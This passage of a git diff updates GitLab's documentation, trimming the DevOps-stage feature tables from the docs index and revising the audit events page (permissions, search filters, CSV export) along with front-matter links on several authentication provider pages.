due date. | -| [Project Issue Board](user/project/issue_board.md) | Display issues on a Scrum or Kanban board. | -| [Quick Actions](user/project/quick_actions.md) | Shortcuts for common actions on issues or merge requests, replacing the need to click buttons or use dropdowns in GitLab's UI. | -| [Related issues](user/project/issues/related_issues.md) | Create a relationship between issues. | -| [Requirements Management](user/project/requirements/index.md) **(ULTIMATE)** | Check your products against a set of criteria. | -| [Roadmap](user/group/roadmap/index.md) **(ULTIMATE)** | Visualize epic timelines. | -| [Service Desk](user/project/service_desk.md) | A simple way to allow people to create issues in your GitLab instance without needing their own user account. | -| [Time Tracking](user/project/time_tracking.md) | Track time spent on issues and merge requests. | -| [To-Do list](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Create - -Consolidate source code into a single [distributed version control system](https://en.wikipedia.org/wiki/Distributed_version_control) -that’s easily managed and controlled without disrupting your workflow. - -GitLab repositories come complete with branching tools and access -controls, providing a scalable, single source of truth for collaborating -on projects and code. - -The following documentation relates to the DevOps **Create** stage: - -#### Projects and groups - -| Create topics - Projects and Groups | Description | -|:-----------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------| -| [Advanced search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. | -| [Advanced syntax search](user/search/advanced_search_syntax.md) **(STARTER)** | Use advanced queries for more targeted search results. | -| [Contribution analytics](user/group/contribution_analytics/index.md) **(STARTER)** | See detailed statistics of group contributors. | -| [Create](gitlab-basics/create-project.md) and [fork](gitlab-basics/fork-project.md) projects, and<br/>[import and export projects<br/>between instances](user/project/settings/import_export.md) | Create, duplicate, and move projects. | -| [File locking](user/project/file_lock.md) **(PREMIUM)** | Lock files to avoid merge conflicts. | -| [GitLab Pages](user/project/pages/index.md) | Build, test, and deploy your static website with GitLab Pages. | -| [Groups](user/group/index.md) and [Subgroups](user/group/subgroups/index.md) | Organize your projects in groups. | -| [Issue analytics](user/group/issues_analytics/index.md) **(PREMIUM)** | Check how many issues were created per month. | -| [Merge Request analytics](user/analytics/merge_request_analytics.md) **(PREMIUM)** | Check your throughput productivity - how many merge requests were merged per month. | -| [Projects](user/project/index.md), including [project access](public_access/public_access.md)<br/>and [settings](user/project/settings/index.md) | Host source code, and control your project's visibility and set configuration. | -| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and to-dos. | -| [Snippets](user/snippets.md) | Snippets allow you to create little bits of code. | -| [Web IDE](user/project/web_ide/index.md) | Edit files within GitLab's user interface. | -| [Static Site Editor](user/project/static_site_editor/index.md) | Edit content on static websites. | -| [Wikis](user/project/wiki/index.md) | Enhance your repository documentation with built-in wikis. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -#### Repositories - -| Create topics - Repositories | Description | -|:-----------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------| -| [Branches](user/project/repository/branches/index.md) and the [default branch](user/project/repository/branches/index.md#default-branch) | How to use branches in GitLab. | -| [Commits](user/project/repository/index.md#commits) and [signing commits](user/project/repository/gpg_signed_commits/index.md) | Work with commits, and use GPG to sign your commits. | -| [Create branches](user/project/repository/web_editor.md#create-a-new-branch), [create](user/project/repository/web_editor.md#create-a-file)<br/>and [upload](user/project/repository/web_editor.md#upload-a-file) files, and [create directories](user/project/repository/web_editor.md#create-a-directory) | Create branches, create and upload files, and create directories within GitLab. | -| [Delete merged branches](user/project/repository/branches/index.md#delete-merged-branches) | Bulk delete branches after their changes are merged. | -| [File templates](user/project/repository/web_editor.md#template-dropdowns) | File templates for common files. | -| [Files](user/project/repository/index.md#files) | Files management. | -| [Jupyter Notebook files](user/project/repository/jupyter_notebooks/index.md#jupyter-notebook-files) | GitLab's support for `.ipynb` files. | -| [Protected branches](user/project/protected_branches.md) | Use protected branches. | -| [Push rules](push_rules/push_rules.md) **(STARTER)** | Additional control over pushes to your projects. | -| [Repositories](user/project/repository/index.md) | Manage source code repositories in GitLab's user interface. | -| [Repository mirroring](user/project/repository/repository_mirroring.md) **(STARTER)** | Push to or pull from repositories outside of GitLab | -| [Start a merge request](user/project/repository/web_editor.md#tips) | Start merge request when committing via GitLab's user interface. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -#### Merge requests - -| Create topics - Merge Requests | Description | -|:---------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------| -| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally-through-the-head-ref) | Tips for working with merge requests locally. | -| [Cherry-picking](user/project/merge_requests/cherry_pick_changes.md) | Use GitLab for cherry-picking changes. | -| [Merge request thread resolution](user/discussions/index.md#moving-a-single-thread-to-a-new-issue) | Resolve threads, move threads in a merge request to an issue, and only allow merge requests to be merged if all threads are resolved. | -| [Merge requests](user/project/merge_requests/index.md) | Merge request management. | -| [Draft merge requests](user/project/merge_requests/work_in_progress_merge_requests.md) | Prevent merges of draft merge requests. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -#### Integration and Automation - -| Create topics - Integration and Automation | Description | -|:----------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------| -| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. | -| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. | -| [GitLab integrations](integration/README.md) | Integrate with multiple third-party services with GitLab to allow external issue trackers and external authentication. | -| [GitLab Webhooks](user/project/integrations/webhooks.md) | Let GitLab notify you when new code has been pushed to your project. | -| [Jira Development Panel](integration/jira_development_panel.md) | See GitLab information in the Jira Development Panel. | -| [Integrations](user/project/integrations/overview.md) | Integrate a project with external services, such as CI and chat. | -| [Trello Power-Up](integration/trello_power_up.md) | Integrate with GitLab's Trello Power-Up. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Verify - -Spot errors sooner, improve security and shorten feedback cycles with built-in -static code analysis, code testing, code quality, dependency checking, and Review -Apps. Customize your approval workflow controls, automatically test the quality -of your code, and spin up a staging environment for every code change. - -GitLab Continuous Integration is the most popular next generation testing system that -scales to run your tests faster. - -The following documentation relates to the DevOps **Verify** stage: - -| Verify topics | Description | -|:-----------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------| -| [Code Quality reports](user/project/merge_requests/code_quality.md) | Analyze source code quality. | -| [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Integration with GitLab. | -| [Unit test reports](ci/unit_test_reports.md) | Display Unit test reports on merge requests. | -| [Multi-project pipelines](ci/multi_project_pipelines.md) **(PREMIUM)** | Visualize entire pipelines that span multiple projects, including all cross-project inter-dependencies. | -| [Pipeline graphs](ci/pipelines/index.md#visualize-pipelines) | Visualize builds. | -| [Review Apps](ci/review_apps/index.md) | Preview changes to your application right from a merge request. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Package - -GitLab Packages allows organizations to use GitLab as a private repository -for a variety of common package managers. Users are able to build and publish -packages, which can be consumed as a dependency in downstream projects. - -The following documentation relates to the DevOps **Package** stage: +and operations that enables [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/). +GitLab makes the software lifecycle faster and radically improves the speed of business. -| Package topics | Description | -|:----------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------| -| [Container Registry](user/packages/container_registry/index.md) | The GitLab Container Registry enables every project in GitLab to have its own space to store [Docker](https://www.docker.com/) images. | -| [Dependency Proxy](user/packages/dependency_proxy/index.md) | The GitLab Dependency Proxy sets up a local proxy for frequently used upstream images/packages. | -| [Package Registry](user/packages/package_registry/index.md) | Use GitLab as a private or public registry for a variety of common package managers, including [NPM](user/packages/npm_registry/index.md), [Maven](user/packages/maven_repository/index.md), [PyPI](user/packages/pypi_repository/index.md), and others. You can also store generic files. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Secure - -Check your application for security vulnerabilities that may lead to unauthorized access, data -leaks, or denial of service. GitLab can perform static and dynamic tests on your application's code, -looking for known flaws and reporting them in the merge request. You can then fix flaws prior to -merge. Security teams can use dashboards to get a high-level view on projects and groups, and start -remediation processes when needed. - -The following documentation relates to the DevOps **Secure** stage: - -| Secure topics | Description | -|:------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------| -| [Compliance Dashboard](user/compliance/compliance_dashboard/index.md) **(ULTIMATE)** | View the most recent Merge Request activity in a group. | -| [Container Scanning](user/application_security/container_scanning/index.md) **(ULTIMATE)** | Use Clair to scan Docker images for known vulnerabilities. | -| [Dependency List](user/application_security/dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. | -| [Dependency Scanning](user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [Dynamic Application Security Testing (DAST)](user/application_security/dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. | -| [Group Security Dashboard](user/application_security/security_dashboard/index.md#group-security-dashboard) **(ULTIMATE)** | View vulnerabilities in all the projects in a group and its subgroups. | -| [Instance Security Center](user/application_security/security_dashboard/index.md#instance-security-center) **(ULTIMATE)** | View vulnerabilities in all the projects you're interested in. | -| [License Compliance](user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project's dependencies for their licenses. | -| [Pipeline Security](user/application_security/security_dashboard/index.md#pipeline-security) **(ULTIMATE)** | View the security reports for your project's pipelines. | -| [Project Security Dashboard](user/application_security/security_dashboard/index.md#project-security-dashboard) **(ULTIMATE)** | View the latest security reports for your project. | -| [Static Application Security Testing (SAST)](user/application_security/sast/index.md) **(ULTIMATE)** | Analyze source code for known vulnerabilities. | - -### Release - -Spend less time configuring your tools, and more time creating. Whether you’re -deploying to one server or thousands, build, test, and release your code -confidently and securely with GitLab’s built-in Continuous Delivery and Deployment. - -The following documentation relates to the DevOps **Release** stage: - -| Release topics | Description | -|:---------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------| -| [Auto Deploy](topics/autodevops/stages.md#auto-deploy) | Configure GitLab for the deployment of your application. | -| [Canary Deployments](user/project/canary_deployments.md) **(PREMIUM)** | Employ a popular CI strategy where a small portion of the fleet is updated to the new version first. | -| [Deploy Boards](user/project/deploy_boards.md) **(PREMIUM)** | View the current health and status of each CI environment running on Kubernetes, displaying the status of the pods in the deployment. | -| [Environments and deployments](ci/environments/index.md) | With environments, you can control the continuous deployment of your software within GitLab. | -| [Environment-specific variables](ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) | Limit the scope of variables to specific environments. | -| [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Deployment and Delivery with GitLab. | -| [GitLab Pages](user/project/pages/index.md) | Build, test, and deploy a static site directly from GitLab. | -| [Protected runners](ci/runners/README.md#prevent-runners-from-revealing-sensitive-information) | Select Runners to only pick jobs for protected branches and tags. | -| [Schedule pipelines](ci/pipelines/schedules.md) | Execute pipelines on a schedule. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Configure - -Automate your entire workflow from build to deploy and monitoring with GitLab -Auto DevOps. Best practice templates help get you started with minimal to zero -configuration. Then customize everything from buildpacks to CI/CD. - -The following documentation relates to the DevOps **Configure** stage: - -| Configure topics | Description | -|:----------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------| -| [Auto DevOps](topics/autodevops/index.md) | Automatically employ a complete DevOps lifecycle. | -| [Create Kubernetes clusters](user/project/clusters/add_remove_clusters.md#create-new-cluster) | Use Kubernetes and GitLab. | -| [Executable Runbooks](user/project/clusters/runbooks/index.md) | Documented procedures that explain how to carry out particular processes. | -| [GitLab ChatOps](ci/chatops/README.md) | Interact with CI/CD jobs through chat services. | -| [Installing applications](user/project/clusters/index.md#installing-applications) | Install Helm charts such as Ingress and Prometheus on Kubernetes. | -| [Mattermost slash commands](user/project/integrations/mattermost_slash_commands.md) | Enable and use slash commands from within Mattermost. | -| [Multiple Kubernetes clusters](user/project/clusters/index.md#multiple-kubernetes-clusters) | Associate more than one Kubernetes clusters to your project. | -| [Protected variables](ci/variables/README.md#protect-a-custom-variable) | Restrict variables to protected branches and tags. | -| [Serverless](user/project/clusters/serverless/index.md) | Run serverless workloads on Kubernetes. | -| [Slack slash commands](user/project/integrations/slack_slash_commands.md) | Enable and use slash commands from within Slack. | -| [Manage your infrastructure with Terraform](user/infrastructure/index.md) | Manage your infrastructure as you run your CI/CD pipeline. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Monitor - -Ensure your applications are always responsive and available. - -GitLab collects and displays performance metrics for deployed applications so you can know in an -instant how code changes impact your production environment. - -The following documentation relates to the DevOps **Monitor** stage: - -| Monitor topics | Description | -|:------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------| -| [GitLab Performance Monitoring](administration/monitoring/performance/index.md) **(CORE ONLY)** | Use Prometheus and Grafana to monitor the performance of your GitLab instance. | -| [GitLab Prometheus](administration/monitoring/prometheus/index.md) **(CORE ONLY)** | Configure the bundled Prometheus to collect various metrics from your GitLab instance. | -| [Health check](user/admin_area/monitoring/health_check.md) | GitLab provides liveness and readiness probes to indicate service health and reachability to required services. | -| [Prometheus project integration](user/project/integrations/prometheus.md) | Configure the Prometheus integration per project and monitor your CI/CD environments. | -| [Prometheus metrics](user/project/integrations/prometheus_library/index.md) | Let Prometheus collect metrics from various services, like Kubernetes, NGINX, NGINX Ingress controller, HAProxy, and Amazon Cloud Watch. | -| [Incident management](operations/incident_management/index.md) | Use GitLab to help you better respond to incidents that may occur in your systems. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - -### Defend - -GitLab Defend enables organizations to proactively protect cloud-native environments by providing -context-aware technologies to reduce overall security risk. Defend is a natural extension of your -existing operation's practices and provides security visibility across the entire DevSecOps -lifecycle. This visibility empowers your organization to apply DevSecOps best practices from the -first line of code written and extends all the way through to greater monitoring and protection for -your applications that are deployed in production. - -The following documentation relates to the DevOps **Defend** stage: - -| Defend topics | Description | -|:---------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| -| [Web Application Firewall with ModSecurity](user/compliance/compliance_dashboard/index.md) | Filter, monitor, and block HTTP traffic to and from a web application. | -| [Container host security](user/clusters/applications.md#install-falco-using-gitlab-cicd) | Detect and respond to security threats at the Kubernetes, network, and host level. | -| [Container network security](user/clusters/applications.md#install-cilium-using-gitlab-cicd) | Detect and block unauthorized network traffic between pods and to/from the internet. | +GitLab provides solutions for [each of the stages of the DevOps lifecycle](https://about.gitlab.com/stages-devops-lifecycle/). ## New to Git and GitLab? @@ -408,14 +69,8 @@ We have the following documentation to rapidly uplift your GitLab knowledge: | [GitLab basics guides](gitlab-basics/README.md) | Start working on the command line and with GitLab. | | [GitLab workflow overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/) | Enhance your workflow with the best of GitLab Workflow. | | [Get started with GitLab CI/CD](ci/quick_start/README.md) | Quickly implement GitLab CI/CD. | -| [Auto DevOps](topics/autodevops/index.md) | Learn more about GitLab's Auto DevOps. | -| [GitLab Markdown](user/markdown.md) | GitLab's advanced formatting system (GitLab Flavored Markdown) | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> +| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. | +| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown) | ### User account @@ -428,12 +83,6 @@ Learn more about GitLab account management: | [Profile settings](user/profile/index.md#profile-settings) | Manage your profile settings, two factor authentication, and more. | | [User permissions](user/permissions.md) | Learn what each role in a project can do. | -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - ### Git and GitLab Learn more about using Git, and using Git with GitLab: @@ -444,12 +93,6 @@ Learn more about using Git, and using Git with GitLab: | [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. | | [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. | -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - ## Coming to GitLab from another platform If you are coming to GitLab from another platform, the following information is useful: @@ -459,27 +102,15 @@ If you are coming to GitLab from another platform, the following information is | [Importing to GitLab](user/project/import/index.md) | Import your projects from GitHub, Bitbucket, GitLab.com, FogBugz, and SVN into GitLab. | | [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. | -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> - ## Build an integration with GitLab There are many ways to integrate with GitLab, including: -| Topic | Description | -|:-----------------------------------------------------------|:-----------------------------------------------| -| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. | -| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. | -| [Integrations and automation](#integration-and-automation) | All GitLab integration and automation options. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> +| Topic | Description | +|:-------------------------------------------|:---------------------------------------------| +| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. | +| [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. | +| [Integrations](integration/README.md) | Integrations with third-party products. | ## Contributing to GitLab @@ -493,9 +124,3 @@ Learn how to contribute to GitLab with the following resources: | [Development](development/README.md) | How to contribute to GitLab development. | | [Legal](legal/README.md) | Contributor license agreements. | | [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. | - -<div align="right"> - <a type="button" class="btn btn-default" href="#overview"> - Back to Overview <i class="fa fa-angle-double-up" aria-hidden="true"></i> - </a> -</div> diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 67a3a3c1539..7436661920a 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -1,7 +1,7 @@ --- stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Audit Events **(STARTER)** @@ -44,10 +44,10 @@ Impersonation is where an administrator uses credentials to perform an action as ### Group events **(STARTER)** -NOTE: **Note:** -You need Owner [permissions](../user/permissions.md) to view the group Audit Events page. +A user with a Owner role (or above) can retrieve group audit events of all users. +A user with a Developer or Maintainer role is limited to group audit events based on their individual actions. -To view a group's audit events, navigate to **Group > Settings > Audit Events**. +To view a group's audit events, navigate to **Group > Security & Compliance > Audit Events**. From there, you can see the following actions: - Group name or path changed. @@ -74,10 +74,10 @@ Group events can also be accessed via the [Group Audit Events API](../api/audit_ ### Project events **(STARTER)** -NOTE: **Note:** -You need Maintainer [permissions](../user/permissions.md) or higher to view the project Audit Events page. +A user with a Maintainer role (or above) can retrieve project audit events of all users. +A user with a Developer role is limited to project audit events based on their individual actions. -To view a project's audit events, navigate to **Project > Settings > Audit Events**. +To view a project's audit events, navigate to **Project > Security & Compliance > Audit Events**. From there, you can see the following actions: - Added or removed deploy keys @@ -107,11 +107,11 @@ Project events can also be accessed via the [Project Audit Events API](../api/au > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2336) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3. -Server-wide audit logging introduces the ability to observe user actions across +Server-wide audit events introduce the ability to observe user actions across the entire instance of your GitLab server, making it easy to understand who changed what and when for audit purposes. -To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Log**. +To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Events**. In addition to the group and project events, the following user actions are also recorded: @@ -133,12 +133,6 @@ recorded: - A user's personal access token was successfully created or revoked ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6) - A failed attempt to create or revoke a user's personal access token ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276921) in GitLab 13.6) -It's possible to filter particular actions by choosing an audit data type from -the filter dropdown box. You can further filter by specific group, project, or user -(for authentication events). - - - Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events). ### Missing events @@ -156,11 +150,11 @@ on adding these events into GitLab: #### Repository push The current architecture of audit events is not prepared to receive a very high amount of records. -It may make the user interface for your project or audit logs very busy, and the disk space consumed by the +It may make the user interface for your project or audit events very busy, and the disk space consumed by the `audit_events` PostgreSQL table may increase considerably. It's disabled by default to prevent performance degradations on GitLab instances with very high Git write traffic. -In an upcoming release, Audit Logs for Git push events will be enabled +In an upcoming release, Audit Events for Git push events will be enabled by default. Follow [#7865](https://gitlab.com/gitlab-org/gitlab/-/issues/7865) for updates. If you still wish to enable **Repository push** events in your instance, follow @@ -180,42 +174,37 @@ the steps bellow. Feature.enable(:repository_push_audit_event) ``` -## Retention policy +## Search + +The search filters you can see depends on which audit level you are at. -On GitLab.com, Audit Event records become subject to deletion after 400 days, or when your license is downgraded to a tier that does not include access to Audit Events. Data that is subject to deletion will be deleted at GitLab's discretion, possibly without additional notice. +| Filter | Available options | +| ------ | ----------------- | +| Scope (Project level) | A specific user who performed the action. | +| Scope (Group level) | A specific user (in a group) who performed the action. | +| Scope (Instance level) | A specific group, project, or user that the action was scoped to. | +| Date range | Either via the date range buttons or pickers (maximum range of 31 days). Default is from the first day of the month to today's date. | -If you require a longer retention period, you should independently archive your Audit Event data, which you can retrieve through the [Audit Events API](../api/audit_events.md). + ## Export to CSV **(PREMIUM ONLY)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. -> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-audit-log-export-to-csv). **(PREMIUM ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. -If available, you can enable it with a [feature flag](#enable-or-disable-audit-log-export-to-csv). - -Export to CSV allows customers to export the current filter view of your audit log as a -CSV file, -which stores tabular data in plain text. The data provides a comprehensive view with respect to +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/285441) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. + +Export to CSV allows customers to export the current filter view of your audit events as a +CSV file, which stores tabular data in plain text. The data provides a comprehensive view with respect to audit events. -To export the Audit Log to CSV, navigate to -**{monitor}** **Admin Area > Monitoring > Audit Log** +To export the Audit Events to CSV, navigate to +**{monitor}** **Admin Area > Monitoring > Audit Events** -1. Click in the field **Search**. -1. In the dropdown menu that appears, select the event type that you want to filter by. -1. Select the preferred date range. +1. Select the available search [filters](#search). 1. Click **Export as CSV**. - - ### Sort -Exported events are always sorted by `ID` in ascending order. +Exported events are always sorted by `created_at` in ascending order. ### Format @@ -228,8 +217,8 @@ The first row contains the headers, which are listed in the following table alon | Author ID | ID of the author | | Author Name | Full name of the author | | Entity ID | ID of the scope | -| Entity Type | Type of the entity (`Project`/`Group`/`User`) | -| Entity Path | Path of the entity | +| Entity Type | Type of the scope (`Project`/`Group`/`User`) | +| Entity Path | Path of the scope | | Target ID | ID of the target | | Target Type | Type of the target | | Target Details | Details of the target | @@ -239,24 +228,5 @@ The first row contains the headers, which are listed in the following table alon ### Limitation -The Audit Log CSV file size is limited to a maximum of `100,000` events. +The Audit Events CSV file is limited to a maximum of `100,000` events. The remaining records are truncated when this limit is reached. - -### Enable or disable Audit Log Export to CSV - -The Audit Log Export to CSV is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) -can enable it. - -To enable it: - -```ruby -Feature.enable(:audit_log_export_csv) -``` - -To disable it: - -```ruby -Feature.disable(:audit_log_export_csv) -``` diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md index 9c772302375..2721ee39b60 100644 --- a/doc/administration/audit_reports.md +++ b/doc/administration/audit_reports.md @@ -1,7 +1,7 @@ --- stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.' --- diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md index c41065abd17..7db20efb03f 100644 --- a/doc/administration/auditor_users.md +++ b/doc/administration/auditor_users.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Auditor users **(PREMIUM ONLY)** @@ -58,7 +58,7 @@ helpful: To create a new Auditor user: 1. Create a new user or edit an existing one by navigating to - **Admin Area > Users**. You will find the option of the access level in + **Admin Area > Users**. The option of the access level is located in the 'Access' section.  diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md index cf82454cfd2..cc3421d3133 100644 --- a/doc/administration/auth/README.md +++ b/doc/administration/auth/README.md @@ -3,7 +3,7 @@ comments: false type: index stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab authentication and authorization @@ -36,5 +36,5 @@ providers: - [Smartcard](smartcard.md) **(PREMIUM ONLY)** - [Twitter](../../integration/twitter.md) -NOTE: **Note:** +NOTE: UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration. diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md index 3a1f5eeb0c2..9c5da558b0d 100644 --- a/doc/administration/auth/atlassian.md +++ b/doc/administration/auth/atlassian.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Atlassian OmniAuth Provider diff --git a/doc/administration/auth/authentiq.md b/doc/administration/auth/authentiq.md index 56f6fddc1af..dbc5e446287 100644 --- a/doc/administration/auth/authentiq.md +++ b/doc/administration/auth/authentiq.md @@ -2,7 +2,7 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Authentiq OmniAuth Provider diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md index e777acd0d32..f264321ea6c 100644 --- a/doc/administration/auth/cognito.md +++ b/doc/administration/auth/cognito.md @@ -2,7 +2,7 @@ type: concepts, howto stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Amazon Web Services Cognito diff --git a/doc/administration/auth/crowd.md b/doc/administration/auth/crowd.md index 6e3dbcb68b3..440d956fc8f 100644 --- a/doc/administration/auth/crowd.md +++ b/doc/administration/auth/crowd.md @@ -2,12 +2,13 @@ type: reference stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Atlassian Crowd OmniAuth Provider -Authenticate to GitLab using the Atlassian Crowd OmniAuth provider. +Authenticate to GitLab using the Atlassian Crowd OmniAuth provider. Enabling +this provider also allows Crowd authentication for Git-over-https requests. ## Configure a new Crowd application diff --git a/doc/administration/auth/google_secure_ldap.md b/doc/administration/auth/google_secure_ldap.md index d30efc6d3cc..37366b00f73 100644 --- a/doc/administration/auth/google_secure_ldap.md +++ 